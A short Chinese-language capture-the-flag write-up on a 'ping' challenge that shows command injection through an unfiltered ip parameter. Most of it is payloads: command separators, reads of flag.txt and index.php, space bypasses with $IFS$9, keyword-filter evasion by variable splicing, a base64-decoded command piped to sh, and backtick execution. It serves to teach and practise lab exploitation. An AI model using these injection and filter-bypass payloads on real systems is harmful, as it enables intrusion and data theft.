看到了ip再來結合題目,得知是要ping了。這里我們可以運用命令鏈接符,進行命令的執行,漏洞的起因還是沒將用戶的輸入進行過濾就進行了拼接,所以才會有這樣的情況;
我們嵌入/?ip=127.0.0.1;ls 這里解釋一下 ' ; ' 的原因' ; ' 作為命令鏈接符號的一種,表示執行完前面的命令之后接着執行后面的命令,順接的關系;
除此之外還有一些命令連接符有:& %0a %0d | || ;等等,
輸入?Ip=127.0.0.1;ls
再?ip=127.0.0.1;cat flag.txt
發現過濾,繞過空格
< <> %20 %09 $IFS$9 IFS IFS
$IFS是bash中的內部域分隔符,可以代替空格至於后面的$9數字是可以隨意的
輸入?ip=127.0.0.1;cat%20flag.txt
發現過濾flag
查看index.php
?ip=127.0.0.1;cat$IFS$9index.php
發現過濾了,參考繞過
- cat fl* 利用*匹配任意 不行
- 2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
- 3.ca\t fl\ag.php
- 不行4.cat fl''ag.php 不行
變量拼接
我們看到源碼中有一個$a變量可以覆蓋
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
官方:
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
可利用內聯
cat$IFS$9`ls`